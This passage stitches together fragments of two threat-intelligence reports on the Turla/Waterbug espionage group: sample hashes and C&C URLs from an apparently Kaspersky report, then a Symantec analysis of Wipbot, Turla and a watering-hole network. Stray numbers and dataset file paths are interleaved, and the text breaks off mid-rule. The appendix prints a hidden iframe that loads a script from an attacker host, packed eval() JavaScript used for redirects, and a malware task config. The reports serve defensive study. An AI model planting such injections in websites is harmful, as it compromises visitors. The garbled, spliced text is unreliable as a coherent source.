cycle. down Change the CC URL to a given value. del_task Delete a file. result Set the filename that is supposed to contain the results of command execution. Effectively, any existing file may be marked for upload by this command. Format of the CC command buffer 6 TLP: Green For any inquire please contact intelreportskaspersky.com Name Description delete Mark the file TEMP\tmp085.dat to be deleted on reboot. name Set the filename to be deleted or created (depends on other parameters) 7 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com C. Malware samples Lateral movement tools: a3cbf6179d437909eb532b7319b3dafe - custom keylogger 1369fee289fe7798a02cde100a5e91d8 - UPX compressed dnsquery.exe c0c03b71684eb0545ef9182f5f9928ca - dnsquery.exe Epic/Tavdig backdoors: 4dc22c1695d1f275c3b6e503a1b171f5 111ed2f02d8af54d0b982d8c9dd4932e 7731d42b043865559258464fe1c98513 24b354f8cfb6a181906ceaf9a7ec28b0 fdba4370b60eda1ee852c6515da9da58 3ab3d463575a011dfad630da154600b5 a347af5cc3c5429911e5167b2d30e1ac 6b207521c9175d2274ba3debcc700a1d cb264c9efa566f41975a3cebf903efb5 e9c0d32a15a24b1110fcc18ab04a6738 d102e873971aa4190a809039bc789e4d d7ca9cf72753df7392bfeea834bcf992 - dropped by the Java CVE-2012-1723 exploits 42b7b0bd4795fc8e336e1f145fc2d27c ab686acde338c67bec8ab42519714273 8e90d8b68a053d22b54fb39f1cf01a41 d22b0ec4e9b2302c07f38c835a78148a 764d643e5cdf3b8d4a04b50d0bc44660 d31f1d873fa3591c027b54c2aa76a52b ea1c266eec718323265c16b1fdc92dac bc2eff0a1544e74462e7377cf0de5a36 d22b0ec4e9b2302c07f38c835a78148a 86f28e8d9d6bda11abcf93b76074b311 d28661163ae91848e01a733836bfe0aa 09b7f890ccded1a6210119df8a9a08f9 5c4a51ce7aa76579616a01a0a3cfab38 aa58167c57cac1bc562c77766ca249f5 3a785ede87bfbd2c1c29887e9c36c801 7731d42b043865559258464fe1c98513 0e441602449856e57d1105496023f458 8 TLP: Green For any inquire please contact intelreportskaspersky.com Dropper packages that installs both Epic and Turla Carbon system: c7617251d523f3bc4189d53df1985ca9 - Postanovlenie apelljacionnoj instancii.scr 0f76ef2e6572befdc2ca1ca2ab15e5a1 - Opredelenie.scr PDF exploits used in spearphishing attacks drops Epic backdoor: 6776bda19a3a8ed4c2870c34279dbaa9 - Note_107-41D.pdf dba209c99df5e94c13b1f44c0f23ef2b - unknown. PDF f44b1dea7e56b5eac95c12732d9d6435 - unknown. PDF 4c65126ae52cadb76ca1a9cfb8b4ce74 - unknown. PDF SCR/EXE files - used in spearphishing/social engineering: 4d667af648047f2bd24511ef8f36c9cc - NATO position on Syria.scr ab686acde338c67bec8ab42519714273 - Russia position on Syria.scr 1c3634c7777bd6667936ec279bac5c2a - Talking Points.scr 80323d1f7033bf33875624914a6a6010 - Program.scr 77083b1709681d43a1b0503057b6f096 - Security protocol.scr 01a15540481f28163e7b4908034efbe3 - unknown.exe (WorldCupSec ) 6a24071fde3b5d713c58801dcdd62044 - unknown.exe (WorldCupSec ) 626955d20325371aca2742a70d6861ab - unknown.exe (TadjMakhal) 16eba8e5f0440a213935e1af4976d801 - unknown.exe (RussiaPositions) 0c35a8f9f9b6ab2f7e3b4408abc61f73 - pdfview.exe d685403d000f8f6b25a6746f6f05a51c - winword.exe Fake Adobe Flash Player Epic backdoor installers: 7c52c340ec5c6f57ef2fd174e6490433 - adobe_flash_player.exe 030f5fdb78bfc1ce7b459d3cc2cf1877 - Shockwave_Flash_Player.exe Fake Microsoft Security Essentials Quick Scan Epic backdoor installer 89b0f1a3a667e5cd43f5670e12dba411 Turla Carbon Pfinet backdoors e9580b6b13822090db018c320e80865f - Pfinet backdoor 071d3b60ebec2095165b6879e41211f2 - Pfinet backdoor 9 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com Turla Carbon package cb1b68d9971c2353c2d6a8119c49b51f Related Turla sample module 626576e5f0f85d77c460a322a92bb267 Java Exploits used in waterhole attacks 536eca0defc14eff0a38b64c74e03c79 f41077c4734ef27dec41c89223136cf8 15060a4b998d8e288589d31ccd230f86 e481f5ea90d684e5986e70e6338539b4 21cbc17b28126b88b954b3b123958b46 acae4a875cd160c015adfdea57bd62c4 10 TLP: Green For any inquire please contact intelreportskaspersky.com D. Epic CC Server URLs (hacked sites used as 1st level proxies): hxxp://losdivulgadores[. ]com/wp-content/plugins/wp-themes/ hxxp://gspersia[. ]com/first/fa/components/com_sitemap/ hxxp://blog.epiccosplay[. ]com/wp-includes/sitemap/ hxxp://gofree[. ]ir/wp-content/plugins/online-chat/ hxxp://homaxcompany[. ]com/components/com_sitemap/ hxxp://www.hadilotfi[. ]com/wp-content/themes/profile/ hxxp://mortezanevis[. ]ir/wp-content/plugins/wp-static/ hxxp://ncmp2014[. ]com/modules/mod_feed/feed/ hxxp://mebroad[. ]com/wp-content/gallery/posters/img/ hxxp://gruenerenate[. ]de/wp-content/plugins/bbpress/includes/lang/ hxxp://www.arshinmalalan[. ]com/themes/v6/templates/css/in.php hxxp://products.parentsupermarket[. ]com/phpMyAdmin/ hxxp://c-si[. ]ir/includes/ hxxp://mkiyanpoor[. ]ir/wp-includes/ hxxp://www.massage-ketsch[. ]de/wp-includes/ hxxp://onereliablesource[. ]com/wp-content/plugins/sitemap/ hxxp://petrymantenimiento[. ]com/wp-content/plugins/wordpress-form-manager/lang/ hxxp://ohsoverydarling[. ]com/wp-content/themes/verification/ hxxp://poissonnerieantoine[. ]com/web/wp-content/themes/titan/view/ hxxp://www.gholghola[. ]com/azemashoorhost/smarty/tmpl/ hxxp://www.saglikdetay[. ]com/wp-includes/images/icons/ hxxp://www.entesharati[. ]com/wp-content/plugins/edd-paginate/ hxxp://iranabad[. ]com/sarzamin/cms/application/classess/plugins/ hxxp://deltateam[. ]ir/components/com_sitemap/ hxxp://akva-clean[. ]ru/typo3temp/ hxxp://discontr[. ]com/wp-content/themes/twentytwelve/ hxxp://curaj[. ]net/pepeni/images/ hxxp://executrek[. ]org/components/com_sitemap/ hxxp://amoodgostar[. ]com/wp-content/themes/simplebanner/ hxxp://gayamore[. ]com/gallery/090607/ hxxp://www.automation-net[. ]ru/typo3temp/ hxxp://www.lacitedufleuve[. ]com/Connections1/ hxxp://www.aspit[. ]sn/administrator/modules/mod_feed/ 11 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com E. Intermediary level proxies (hacked sites used as 2nd/3rd level): hxxp://masterciw[. ]com/ hxxp://khrn[. ]tk/wp-includes/ hxxp://pradlolux[. ]cz/system/helper/ hxxp://original-key[. ]com/catalog/controller/payment/ hxxp://www.noraci[. ]com/wp-includes/ hxxp://tuvpr[. ]com/backup/wp-includes/ hxxp://www.boshraamin[. ]com/wp-includes/ hxxp://www.bestjob[. ]my/system/modules/comments/ hxxp://rollinghillsfitness[. ]com/wp-includes/ 12 TLP: Green For any inquire please contact intelreportskaspersky.com F. Motherships, hosting Epic Control panels and exploits hxxp://avg-update.sytes[. ]net/ hxxp://newsforum.servehttp[. ]com/ hxxp://newsweek.servehttp[. ]com/ hxxp://adobe.faqserv[. ]com/ hxxp://cqcount.servehttp[. ]com/ hxxp://easycounter.sytes[. ]net/ hxxp://newsweek.serveblog[. ]net/ hxxp://image.servepics[. ]com/ hxxp://bgl.serveftp[. ]net/ SECURITY RESPONSE Waterbug uses highly-targeted spear-phishing and watering-hole attack campaigns to target victims. The Waterbug attack group Security Response Version 1.0 January 22, 2015, 14:00 GMT The Waterbug attack group CONTENTS OVERVIEW ..................................................................... 3 Introduction .................................................................. 5 Vectors .......................................................................... 5 Spear-phishing ........................................................ 5 Venom distribution network .................................. 6 Malware ....................................................................... 10 Trojan. Wipbot ........................................................ 10 Trojan. Turla ............................................................ 11 Conclusion ................................................................... 13 Appendix ..................................................................... 15 Injection attack analysis ....................................... 15 PluginDetect library .............................................. 15 Exploits .................................................................. 17 Trojanized applications ......................................... 17 Trojan. Turla variants .............................................. 18 Detection guidance ............................................... 20 Waterbug tools ...................................................... 29 Additional exploits used ........................................ 30 Samples ................................................................. 31 Trojan. Turla CC servers ....................................... 42 Waterbug is a cyberespionage group that uses sophisticated malware to systematically target government-related entities in a range of countries. The group uses highly-targeted spear-phishing and watering-hole attack campaigns to target victims. The group has also been noted for its use of zero-day exploits and signing its malware with stolen certificates. Once the group gains a foothold, it shifts focus to long-term persistent monitoring tools which can be used to exfiltrate data and provide powerful spying capabilities. Symantec has tracked the development of one such tool, Trojan. Turla, and has identified four unique variants being used in the wild. OVERVIEW http://www.symantec.com/security_response/writeup.jsp?docid2014-011316-1921-99 INTRODUCTION Waterbug has successfully targeted and compromised over 4,500 computers across more than 100 countries. Page 5 The Waterbug attack group Introduction Waterbug is the name given to the actors who use the malware tools Trojan. Wipbot (also known as Tavdig and Epic Turla) and Trojan. Turla (also known as Carbon, Uroburos, and Snake). Believed to have been active since at least 2005, it is likely that the group was responsible for the 2008 compromise of US Central Command that reportedly resulted in a clean-up operation that lasted almost 14 months. More recently, Waterbug used a zero-day exploit against the Microsoft Windows Kernel NDProxy.sys Local Privilege Escalation Vulnerability (CVE-2013-5065), targeted emails, stolen certificates, and a sophisticated watering-hole distribution network known as Venom to compromise its victims. Waterbug has successfully targeted and compromised over 4,500 computers across more than 100 countries. Targets include government institutions, embassies, and education and research facilities. The malware used on victims computers, variants of Trojan.
249
Turla and Trojan.
51,875
51,915
41
data/reports_final/0249.txt
Turla and Trojan. Wipbot. It is believed that Trojan. Turla is also dropped in tandem with Trojan. Wipbot in order to provide multiple communication channels as a failsafe when interacting with the compromised computer. Symantec has also observed the attackers using Trojan. Wipbot to download updated versions of Trojan. Turla after initial infection. Once the attackers have gained a foothold in the network, they use Trojan. Turla to collect and exfiltrate data to a first-tier proxy. This tier is comprised of legitimate, but compromised, websites. In a similar fashion, data is relocated from the first-tier proxy to a second-tier proxy server under the control of the attackers. This is done to increase the complexity of the attackers infrastructure and to make it more difficult to identify. Figure 2.Trojanized Shockwave installer package Page 7 The Waterbug attack group Compromised websites (watering holes) Symantec telemetry suggests the Venom network consists of 84 compromised domains (websites). These compromised websites are located in many different countries and were used in a watering-hole style operation in which the attackers monitored and filtered visitors to those websites and focused on the ones of interest for further action. The collection of compromised websites acted like a drag net designed to gather potential targets of interest. Symantecs telemetry showed that thousands of computers visited the compromised websites between 2012 and 2014. Figure 3 shows how many visitors visited the compromised websites and as a result, were redirected to another malicious server for fingerprinting. This is an indicator of how many computers were caught up in the net and were scrutinized by the Waterbug attackers. The actual number of computers that became infected with Wipbot and Turla was a much smaller subset. During our observations, the number of compromised computers increased over time, with a noticeable spike in November, 2013. This spike coincided with an increase in traffic being redirected by the compromised websites to the malicious server. This increase in throughput may have come about because of an increase in the number of compromised websites in use. Where are the compromised websites? The watering-hole websites used by the Waterbug group are located in many different countries. The greatest number of compromised websites is found in France (19 percent), Germany (17 percent), Romania (17 percent), and Spain (13 percent). Figure 3. Number of redirected computers between September 2012 and May 2014 Page 8 The Waterbug attack group Common vector Analysis of the compromised websites shows that the majority of them used a common content- management system (CMS) known as TYPO3. Moreover, a number of compromised websites also resided on the same net block linked to a number of hosting providers. These hosting providers websites promote the use of CMS-type tools, including TYPO3, as blogging platforms included in their hosting packages. Industry breakdown The compromised websites were further categorized based on their respective industries. The majority of compromised websites were government related (26 percent). The list included embassies, ministries of foreign affairs, and other government institutions. Publishing and media websites (23 percent) were also used by the attackers. In this case, the majority of compromised publishing websites were local news and broadcasting companies. Despite the range and number of websites compromised and set up as watering holes, the attackers were only interested in a very specific subset of the users who actually visited these websites. In effect, the collection of compromised websites acted as a net, much like a fishing net trawling for fish in the ocean. In this case, the net is set up so that unwanted catches are allowed to escape unscathed but the ones of interest were redirected (based on their source IP address) to deliver the payload of Wipbot or Turla or both. Figure 5. Compromised sites categorized by industry Figure 4. Top ten countries with compromised websites (watering holes) Whether compromised by a targeted email attack or by browsing to an infected website... Trojan.
250
Turla or Trojan.
51,916
52,062
147
data/reports_final/0250.txt
Turla or Trojan. Wipbot is installed onto the victims computer. MALWARE Page 10 The Waterbug attack group Malware Whether compromised by a targeted email attack or by browsing to an infected website on the Venom network, in both cases either Trojan. Turla or Trojan. Wipbot is installed onto the victims computer. Trojan. Wipbot Trojan. Wipbot was first identified by Symantec in December, 2013 being distributed by a highly-targeted spear-phishing campaign. Later, additional samples, including Trojanized Shockwave installers signed with a stolen certificate, were also observed being distributed by the Venom network. Trojan. Wipbot is a downloader with limited back door functionality. Trojan. Wipbot has the ability to execute arbitrary commands and additional downloaded components on the infected computer. This is done through the use of a task file. Task files consist of several sections. The first section is the command number or ID, followed by the payload size, the payload itself, and an associated configuration script. The payload size is used by Trojan. Wipbot to allocate the correct amount of memory in order to store the binary. The payload can be an executable file (.exe or .dll) or a Windows batch script. In the majority of cases, Symantec has observed the attackers downloading batch files in order to perform reconnaissance activities on the infected network such as the collection of network and domain-specific information and login credentials to mount shares and move laterally across the network. A configuration script is also supplied by the attackers, which specifies the location of the file, supplied arguments, and where resultant data should be written to. The following example also instructs Trojan. Wipbot to delete the script after execution. [ CONFIG] name C:\windows\temp\wincpt.bat arg cmd.exe /c c:\windows\temp\wincpt.bat result c:\windows\Temp\DMR0861.dat delete yes The collected data is later retrieved by the attackers using additional tools. Links between Trojan. Wipbot and Trojan. Turla Symantec has confirmed several links tying Trojan. Wipbot and Trojan. Turla to the same group through sample analysis and telemetry. Trojan. Wipbot contains an embedded component known as Down.dll. The header of the component has been stripped. The DLL itself has an export function which matches those used in Trojan. Turla samples (ModuleStart, ModuleStop). In Trojan. Wipbot, a Linear Congruential Generator (LCG) is used as part of the malwares communication protocol, specifically for encryption. Generally an LCG is used as part of a pseudo-random number generator (PRNG) in an encryption algorithm. However, in Trojan. Wipbots case, it uses the LCG to perform the encryption instead. Symantec has not observed LCG used for encryption of communications before. Remnants of LCG code used for encryption are also present in Trojan. Turla, specifically the same c-constant value and modulus. Both Trojan. Wipbot and Trojan. Turla also share a similar code structure in terms of decryption algorithms. Both use an array of characters which are stored directly on the stack followed by a simple XOR operation by a shared constant. Finally, Symantec has observed Trojan. Wipbot downloading Trojan. Turla onto compromised computers. Figure 6. Example of Trojan. Wipbot task file structure http://en.wikipedia.org/wiki/Linear_congruential_generator Page 11 The Waterbug attack group Trojan. Turla In 2008, a malware incident was reported to have affected the US Central Command Network. The incident was the direct result of an infected removable drive that was connected to a computer on the network, which executed an autorun file launching a malicious DLL file stored on the drive. This was dubbed the BTZ Incident and was considered one of the worst breaches of US military computers in history. The malware, which Symantec called Trojan. Minit (also known as Agent. BTZ), had the ability to spread through a network, gather sensitive information, and exfiltrate data to a remote command-and-control (CC) server. Since then, multiple links have been established between Trojan. Minit and recent samples of Trojan. Turla. The most infamous link is the use of a shared XOR key across these two families. This key has been used by the attackers to encrypt log data and has also been used in a number of custom tools used by the Waterbug group. Trojan. Turla is an extremely persistent, sophisticated malware, professionally developed with extensible capabilities and used exclusively by the Waterbug group. Trojan. Turla is built from a framework that is designed for long-term monitoring of targeted individuals or organizations and has been in operation since at least 2005. Both 32-bit and 64-bit samples have been identified in use in the wild. Analysis has determined that Trojan. Turla is essentially an extensible platform which appears to share common components between variants through the use of a common framework. Symantec has identified four unique variants of Trojan. Turla, all of which use shared components. Details on the relationships between the variants are discussed in the following section. Variants Symantec has identified four unique variants of Trojan. Turla which have been in development between 2005 and 2014. ComRAT is a direct descendant of the Agent. BTZ malware that was in use in 2008. Development of this variant has continued and recent samples, compiled in 2013, have been identified. The earliest variant of FA (so named because of debug strings linking to project fa64) was compiled in 2005. Figure 7. Variants of Trojan. Turla identified by Symantec http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html http://www.symantec.com/security_response/writeup.jsp?docid2005-010722-5132-99 Page 12 The Waterbug attack group This variant has seen continuous development from 2009 to 2014. Carbon is the most unique of all four variants. Carbon is distributed in two forksa driver-based version (rootkit) and a driver-less version. Early variants of Carbon were identified in 2007, 2008, and 2009. The majority of Carbons code has received minor incremental updates seen in recent samples identified in 2014. The most closely related variant to Carbon is SAV. SAV (also known as Uroburos) is a recent variant of Trojan. Turla which has been in development since at least 2011 and has received incremental updates through to 2014. Analysis of these variants shows common code structures, shared components, and a continuous development which has run in parallel since at least 2005. Relationships The identified cases of code sharing are usually within specific sub-modules, such as IDT Hooking, or within helper code. An examination of features from the Carbon and FA drivers in this section illustrates this. The relationship between Carbon and SAV is more complex and will be described separately. Carbon and SAV When Carbon was first developed, the driver-based and driver-less forks used a custom communication module which supported multiple protocols including Transmission Control Protocol (TCP), Named Pipes (NP), and Multipoint-to-Point (M2P). When SAV first appeared in 2011, it was based on the driver-based fork of Carbon. However, injected components were significantly changed or possibly rewritten. Shared features included the communication module. This suggests that SAV is derived from Carbon. FA, Carbon, and SAV In June 2007, Carbon drivers already included the use of specific error code values which may have originally been implemented as part of the communication channel code. FA Drivers introduced the use of these error code values between August, 2008 and December, 2009 as part of a major refactoring effort. Additionally, FA and SAV also shared a custom packer used exclusively by the Waterbug group. By 2009, FA had begun using the custom packer for user-mode components. Carbon did not use the packer in any of the collected samples, whereas SAV used the packer for multiple components. These relationships indicate that features were developed separately, and later migrated to other projects. This sharing may be due to copying parts of source code (possibly entire folders) between independently developed projects. Page 13 The Waterbug attack group Shared features The driver-based column indicates rootkit functionality such as that found in Carbon and SAV. The driver-less column indicates the use of user-mode API hooking. An encrypted file system was also found in two of the variants, Carbon and SAV. This is an NTFS file, encrypted using 128-bit CAST in CBC mode. In other variants, a directory structure was used and encryption was performed using simple byte-by-byte XOR encryption (using the same key used in Agent. BTZ). Code sharing shows trace evidence or remnants of code from earlier versions still present in recent samples. One such example is the use of LCG and associated constant values in the decryption algorithm. Conclusion Waterbug is a capable group that is highly skilled in compromising its targets and has systematically targeted governments and embassies since as early as 2005. The continued development of the tools used by Waterbug suggests that the group has made a significant investment in time and resources. This coupled with the selected targets and the advanced nature of the malware used suggests that Waterbug is most likely a state-sponsored group whose motive is intelligence gathering. Figure 8. Shared features across Trojan. Turla variants APPENDIX Page 15 The Waterbug attack group Appendix Injection attack analysis The compromised websites use an injected iframe or some obfuscated JavaScript in order to redirect visitors to a malicious host, specifically to a web page (main.php) that is used to perform standard plugin checks or system fingerprinting. The following is an example of an injected iframe and obfuscated JavaScript: Iframe injections div stylevisibility: hiddeniframe srchttp://image.servepics.com/css/ main.php width2 height2 scrollingno frameborder0/iframe/ div Obfuscated JavaScript injections script typetext/JavaScripteval(function(p,a,c,k,e,d)efunction(c) returnc.toString(36)if(.replace(/ /,String))while(c--)d[c. toString(a)]k[c]c.toString(a)k[function(e)returnd[e]]efunction() return\\wc1while(c--)if(k[c])pp.replace(newRegExp(\\be(c)\\ b,g),k[c])return p(c.bd()e13.g(\f\)1.2(\a\,\6://4.5.9/7-8/h/o/i.r\)1 .2(\q\,\0\)1.2(\s\,\0\)1.2(\t\,\u\)1.2(\p\,\0\)1.k.j\l\3.m.n(1),31- ,31,elem _ jssetAttributedocumentnewsweekservebloghttpwpincludes netsrconloadwindowfunctionvariframecreateElementjsmaindisplays tylenonebodyappendChildcssframeborderwidthphpheightscrollingno. split(),0,))/script PluginDetect library When main.php is loaded, it runs a number of JavaScript files from a library known as PluginDetect (v0.8.5). PluginDetect is a legitimate library used to detect browser plugins (the most recent version is 0.8.7). The PluginDetect library is intended to work with all the major browsers including Internet Explorer 6 and up, Firefox, Mozilla, Netscape, Chrome, Safari, Opera, SeaMonkey, Flock, and others. It is possible to generate custom PluginDetect scripts which only retrieve version information for specifically chosen plugins as per http://www.pinlady.net/PluginDetectArchive/0.8.5/download/. Symantec has identified two versions of the main.php script file. The following table provides an overview of the information collected for each of the two versions, which perform similar actions: Table 1. Identified versions of main.php File name MD5 Targeted software Description main.php 764d67a1dcb2449e2aa6dc3e59a5265f Java Flash Adobe Reader QuickTime Shockwave Windows Media Player Microsoft Office Word Performs POST request to remote ajax.php script. JavaScript file jquery.min.js contains all the PluginDetect files. main.php bd07a78793641dc85cf75dc60c06051a Adobe Reader Java Flash Shockwave QuickTime Silverlight Performs GET request to remote wreq. php script. This version contains Silverlight PluginDetect code. http://www.pinlady.net/PluginDetectArchive/0.8.5/guide/ http://www.pinlady.net/PluginDetectArchive/0.8.5/download/ Page 16 The Waterbug attack group When main.php is loaded, regardless of the version used, it checks if JavaScript is supported on the redirected browser. If JavaScript is not available, it generates the parameter, nojs.php?jno, and provides the address of the compromised website that the user was redirected from in the ref parameter: noscriptmeta http-equivrefresh content 0URLnojs.php?jnoref-- //noscript However, if JavaScript is available, main.php proceeds to collect the software version information listed in Table 1. Depending on the version of the main.php script used to collect plugin information, it either performs a GET request or a POST request using the following parameters: POST request xmlhttp.send(js encodeURIComponent(js) v _ s encodeURIComponent(v _ s) v _ f encodeURIComponent(v _ f) v _ a encodeURIComponent(v _ a) v _ m encodeURIComponent(v _ m) v _ q encodeURIComponent(v _ q) msw encodeURIComponent(msw) v _ ja encodeURIComponent(v _ ja) ref encodeURIComponent(ref)) Example image.servepics.com/css/ajax.php?jsokv _ snullv _ f11.8.800.94v _ a11.0.0.0v _ mnullv _ qnullmsw2007v _ ja1.7.0.51refhttp3A//www.bjc. es/v _ sl5.1.20513.0 GET request window.location.href wreq.php?jsokv _ sshock()v _ ffla()v _ aacro()v _ mv _ mv _ qqtime()mswoffchk()v _ jajav()ref escape(ref)v _ slsilver() Example image.servepics.com/css/wreq.php?jsokv _ snullv _ f12.0.0.41v _ anullv _ mnullv _ qnullmswnullv _ ja1.7.0.51refhttp3A//www.motril.es/index. php3Fid3D359v _ slnull Additional PluginDetect files Symantec has identified one additional script (similar to ajax.php and wreq.php) that performs the same actions previously described. It is possible that these files represent different versions of the backend script used to parse the collected information used in the attack. /css/ajax.php /css/ajax.php /wp-admin/js/css/ajax.php /wp-includes/js/css/ajax.php /css/wreq.php /wp-includes/js/css/wreq.php /css/wreq.php /css/ajax.php /wp-admin/js/css/1267.php Parameters Table 2 shows the parameters used in the URLs generated from the PluginDetect library, which hold plugin version information. Table 2. Parameters used by PluginDetect library Parameters Code Description js Enabled JavaScript. If compatible, string ok is set to parameter value. v_s Enabled Shockwave v_f Enabled Flash v_a Enabled Adobe Reader or generic PDF reader v_m Disabled Disabled in code. Used to hold WindowsMediaPlayer version information. v_q Enabled QuickTime msw Disabled Disabled in code. Code does not initialize offchk() function - MSOffice detect.
251
v_ja Enabled Java Runtime Environment ref Enabled Compromised site v_sl Enabled Silverlight.
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data/reports_final/0251.txt
v_ja Enabled Java Runtime Environment ref Enabled Compromised site v_sl Enabled Silverlight. Only present in main.php (MD5: bd07a78793641dc85cf75dc60c06051a). Page 17 The Waterbug attack group All plugin scripts use the PluginDetect library from version 0.8.5 with the exception of main.php (MD5: bd07a78793641dc85cf75dc60c06051a) which uses the PluginDetect script version 0.8.6 for Silverlight. Exploits The scripts (main.php, main.jpg, wreq.php etc) contained additional code which is used to exploit Internet Explorer 6, 7, and 8. Additional exploits were also identified targeting Oracle Sun Java and Adobe Flash Player using the Oracle Java SE Remote Code Execution Vulnerability (CVE-2012-1723). Unfortunately, not all exploits could be retrieved for analysis. The payload dropped by the Java exploit was found to be: MD5: d7ca9cf72753df7392bfeea834 bcf992 The above sample was confirmed as Trojan. Wipbot. Trojanized applications The attacker group also used Trojanized applications in order to trick users into installing a malicious payload. In one such example, a Shockwave Player installer bundle was found to be Trojanized and silently installed Trojan. Wipbot. The installer was signed with a certificate from Sysprint, an organization based in Switzerland. There have been additional reports of Trojanized Microsoft Security Essential packages being used. Figure 9. Trojanized Shockwave installer bundle Figure 10. Sysprint digital certificate used to sign Trojanized Shockwave installer http://www.securityfocus.com/bid/53960 Page 18 The Waterbug attack group Trojan. Turla variants Custom packer Packers or executable compressors are common techniques used by malware authors in order to evade antivirus (AV) detection. The packer used with Trojan. Turla is unique to the group and has not been observed being used with any other malware. This custom packer, used exclusively by the Waterbug group, was used for packing various components since at least 2009. The stub included in the packed driver-based variants includes the same error code value ranges as was observed in Waterbug-specific communication code. This is a strong indication that attackers maintain the packer in-house. It was found that the FA dropper from 2009 included a non-packed driver and a packed external communication component, but the dropper from 2011 included a packed driver and a non-packed external communication component. However, for SAV, the dropper, driver, and other components were all packed using the custom packer from 2011. Symantec is aware of five generations of the custom packer: Custom Awas encountered inFAexternal communication component (February-December 2009) Custom B, variant preAwas encountered inFAdropper (January 2010) Custom B, variant Awas encountered inFAexternal communication component (June 2010) Custom B, variant Bwas encountered invarious SAV components (June 2011-May 2013) andFAdriver (December 2012-January 2014) Custom B, variant Cencountered inSAVdriver (October 2013-March 2014) It is worth noting that another, somewhat simpler, packer was used for packing the Trojan. Wipbot dropper (custom dotNET used by single sample). Error code ranges Many of the Waterbug-specific subroutines present in various kernel-mode samples use constants from range 0x21590001..0x21590258 as error codes. It is interesting to note that this range corresponds to 0xDEA6FXXX. The following components include code with these constants: Stub of custom packer present in packed kernel-mode binaries FA drivers (except for samples earlier then 2008) Carbon drivers SAV drivers Table 3. Error code messages Error code Message 0 no error ffffffff error has been suddenly occured 21590001 function unsupported 21590002 timeout condition has been occured inside call of function 21590003 peer has closed the connection 21590004 no memory 21590005 object not found 21590006 execution has been canceled 21590007 not enough server resources to complete opera- tion 21590008 access violation 21590009 socket error 2159000a invalid network buffer received 2159000b too long data for this type of transport 2159000e no data was received 21590064 invalid function call 21590065 sanity check: invalid parameter 1 in function call 21590066 sanity check: invalid parameter 2 in function call 21590067 sanity check: invalid parameter 3 in function call 21590068 sanity check: invalid parameter 4 in function call 21590069 sanity check: invalid parameter 5 in function call 2159006a sanity check: invalid parameter 6 in function call 2159006b sanity check: invalid parameter 7 in function call 2159006c sanity check: invalid parameter 8 in function call 2159006d sanity check: invalid parameter 9 in function call 215900c8 invalid address specified 215900c9 invalid local address 215900ca invalid local port 215900cb invalid remote address 215900cc invalid remote port 2159012c invalid credentials 2159012d secure connection failed 21590258 licence error Page 19 The Waterbug attack group Several samples also include a table mapping these error codes to messages. This table is apparently part of a source file with the following versioning information: Id: t _ message1.c 5290 2007-01-26 11:15:03Z vlad The table mapping error codes to messages is composed of a number of entries (See Table 3). With all verified components, error codes seem consistent with the above table. However, use of additional error codes within this range were also observed that are not included in this table. Additional shared features Additional shared features observed during analysis are detailed below. IDT hooking Symantec observed sharing of IDT hooking code used in FA, Carbon (not present in samples earlier than 2009), and SAV drivers. All have been observed using interrupts 0x55 or 0xC3 in the following method: kd u ntNtReadFile ntNtReadFile: 8057c4a8 6a06 push 6 integer pushed. 8057c4aa cdc3 int 0C3h interrupt. 8057c4ac 94 xchg eax,esp 8057c4ad 4d dec ebp 8057c4ae 80e88c sub al,8Ch 8057c4b1 f8 clc 8057c4b2 fb sti 8057c4b3 ff33 push dword ptr [ebx] It is worth noting that higher-level code implemented on top of these hooks differ significantly across variants, where SAV is considered the most sophisticated. FA source code tree The FA variant includes debug string information that corresponds to source code files. Some full and partial paths are also indicated in the strings. It is possible that the source code tree for FA may have contained the following directory structure: d:\proj\cn\fa64\common\helpers\ntsystem\../../unichar _ common.c ..\common\helpers\ntsystem\event.c Id: event.c 14097 2010-11-01 14:46:27Z gilg ..\common\helpers\ntsystem\mutex.c Id: mutex.c 14516 2010-11-29 12:27:33Z gilg ..\common\helpers\ntsystem\named _ mutex.c Id: named _ mutex.c 15594 2011-03-18 08:04:09Z gilg ..\common\helpers\ntsystem\nt.c Id: nt.c 20719 2012-12-05 12:31:20Z gilg ..\common\helpers\ntsystem\rw _ lock.c Id: rw _ lock.c 14516 2010-11-29 12:27:33Z gilg ..\common\helpers\ntsystem\unichar.c Id: unichar.c 14481 2010-11-27 19:52:15Z gilg ..\common\helpers\interface _ s.c d:\proj\cn\fa64\common\loadlib\common/loadlib _ helpers.c d:\proj\cn\fa64\common\loadlib\win/loadlib.c d:\proj\cn\fa64\uroboros\rk _ common\libhook\common/libunhook.c d:\proj\cn\fa64\uroboros\rk _ common\libhook\common/hook _ helpers.c d:\proj\cn\fa64\uroboros\rk _ common\libhook\common/libhook.c d:\proj\cn\fa64\uroboros\rk _ common\libhook\common/idthook.c d:\proj\cn\fa64\uroboros\rk _ common\libhook\ntsystem/libhook.c ..\k2\fa _ registry.c Page 20 The Waterbug attack group ..\k2\syshook.c The code tree suggests that there may be common helper code shared, such as rootkit functionality (rk_common, common\helpers etc. ). It is likely that these components are shared across variants of Trojan. Turla. This is also consistent with the PDB strings extracted from FA variants: d:\proj\cn\fa64\sengoku\ _ bin\sengoku\win32 _ debug\sengoku _ Win32.pdb Agent. BTZ XOR key A number of keys are shared across the Trojan.
252
C9 75 26 56 0F 20 C6 8B C6 25 FF FF FE FF 0F 22 C0 E8 condition: all of them Trojan.
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data/reports_final/0252.txt
